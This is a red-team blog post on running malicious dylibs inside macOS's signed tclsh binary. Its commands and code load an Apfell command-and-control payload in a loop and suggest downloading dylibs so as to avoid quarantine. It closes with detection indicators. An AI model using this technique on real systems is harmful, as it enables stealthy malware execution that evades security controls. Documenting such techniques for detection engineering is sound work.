Feb 16 2022 |
Dylib Loads that Tickle your Fancy
Loading malicious dylibs into the Tclsh binary
Background
As detection of osascript command-line executions has increased, I started looking more into alternative forms of payload execution. As a result of this research, I found a way to execute payloads within the platform binary tclsh.
Tclsh is a shell-like application that reads Tcl commands from its standard input or from a file and evaluates them. Tcl (pronounced “tickle” or as an initialism) is a high-level programming language. Tcl casts everything into the mold of a command, even programming constructs like variable assignments and procedure definitions. Created in 1988, developers used Tcl to create GUIs (Graphical User Interfaces)s and automate basic tasks. Since Mac OS X 10.4 Tiger (perhaps earlier) included tclsh by default. It is still a default installation as of macOS 12 Monterey, making it an ideal candidate for payload execution.
Using the codesign binary, I dug further and saw that tclsh is actually running the tclsh8.5 executable, which possesses the com.apple.security.cs.disable-library-validation entitlement. This entitlement indicates whether an application can load arbitrary libraries without requiring code-signing. Thus, making it a great candidate for loading our dylib (dynamic library).
itsatrap@HomeOne ~ % codesign -d /usr/bin/tclsh Executable=/System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5 ---
itsatrap@HomeOne ~ % codesign -d --entitlements - /System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5 Executable=/System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5 [Dict] [Key] com.apple.security.cs.disable-library-validation [Value] [Bool] true [Key] com.apple.security.cs.allow-unsigned-executable-memory [Value] [Bool] true
There is a great reference for Tcl commands at the Tcler’s Wiki. Digging into the options, I noted that there is a load command to simply load libraries. To test this out I used a simple dylib from Csaba Fitzl.
itsatrap@HomeOne ~ % cat test.c #include <stdio.h> #include <syslog.h>
__attribute__((constructor)) static void customConstructor(int argc, const char **argv) { printf("Hello from dylib!n"); syslog(LOG_ERR, "Dylib injection successful in %sn", argv[0]); }
Compile the dylib and create a .tcl file with the load command.
itsatrap@HomeOne ~ % gcc -dynamiclib hello.c -o hello.dylib
itsatrap@HomeOne ~ % cat hello.tcl load /Users/itsatrap/hello.dylib
Run the .tcl file with tclsh.
itsatrap@HomeOne ~ % tclsh hello.tcl Hello from dylib! dlsym(0x205c013e0, Hello_Init): symbol not founddlsym(0x205c013e0, Hello_SafeInit): symbol not founddlsym(0x205c013e0, Hello_Unload): symbol not founddlsym(0x205c013e0, Hello_SafeUnload): symbol not foundcouldn't find procedure Hello_Init while executing "load /Users/itsatrap/hello.dylib " (file "hello.tcl" line 1)
We get the Hello from dylib! message but also the symbol error. Luckily, the dlopen extension addresses this (Thanks, Clif Flynt!). The dlopen extension allows loading libraries that do not contain a XX_Init entry point on Posix or Windows platforms.
Usage
Setup
First, we need to compile the dlopen extension. Then we can create the .tcl file with the load command to the dlopen dylib, followed by a dlopen command with our malicious dylib.
itsatrap@HomeOne ~ % gcc -dynamiclib -o dlopen.dylib dlopen.c -framework Tcl -framework Tk
itsatrap@HomeOne ~ % cat helloload.tcl load /Users/itsatrap/dlopen.dylib dlopen /Users/itsatrap/hello.dylib
Run the .tcl file with tclsh.
itsatrap@HomeOne ~ % tclsh helloload.tcl Hello from dylib!
We get our execution!
Executing an Apfell payload with tclsh
To weaponize execution, we can leverage Chris Ross’ JSRunner to create our Apfell dylib. Then we can create the tcl file with the load command to the dlopen dylib, followed by a dlopen command with our malicious dylib.
itsatrap@HomeOne ~ % g++ -dynamiclib -o /Users/itsatrap/apfell.dylib -framework Foundation -framework OSAKit ~/JXADylib_Runner/plugin.cpp ~/JXADylib_Runner/jsrunner.mm
itsatrap@HomeOne ~ % cat apfell.tcl while True { load /Users/itsatrap/dlopen.dylib dlopen /Users/itsatrap/apfell.dylib after 10000 }
Run the .tcl file with tclsh
itsatrap@HomeOne ~ % tclsh apfell.tcl & [1] 10960
Execution! What’s great is that within tcl you can use the exec command to run other programs. For example, we could use tcl to make curl requests to download those dylibs to limit the number of files we need to get to the target initially, as well as not be subject to the com.apple.quarantine file attribute. If we take it further we can use the tcl packages http and tls to perform the downloads without spawning additional processes. I have an example execution template here. (I have also included these as build options in my Mystikal project).
Detection
I leveraged the Elastic Agent, which I have on my macOS 11 Big Sur endpoint, which forwards events to my Elastic Stack (Elasticsearch, Logstash, Kibana) to follow the execution artifacts. I recently did a post on setting this up in a lab environment.
Indicators:
- Process execution events with command line arguments for tclsh <filename>. Although this is a platform binary, its practical use is not prevalent, so establishing a usage baseline in an environment is helpful.
Note: The file does not need the tcl extension. One could get execution through tclsh apfell.txt, for example.
- Network connection events that originate from tclsh8.5. These events are likely abnormal. As stated before, the widespread usage of tclsh is limited, and the few instances in which it makes network connections are even further uncommon.
Note: By default, the http package has a User-agent string of Tcl http client package 2.7.5. One can easily modify this by using the ::http::config -useragent option.
- Dylib loads into the tclsh8.5 binary. However, it is worth noting that commercial tools tend to be limited in their ability to provide insight into these events, especially on Big Sur+.
Conclusion
This post aimed to display arbitrary dylib loading into the tclsh binary. More importantly, I hope that the detection indicators shown can be a starting point for those developing detections for this execution. If you encounter any additional indicators that this execution method creates that are unmentioned above, please let me know.
References / Resources:
- https://www.tcl.tk/about/language.html
- https://wiki.tcl-lang.org/page/load
- https://wiki.tcl-lang.org/page/dlopen+extension
- https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib
- https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/
- https://en.wikipedia.org/wiki/Tcl
- https://stackoverflow.com/questions/4606579/problem-requesting-a-https-with-tcl
Dylib Loads that Tickle your Fancy was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.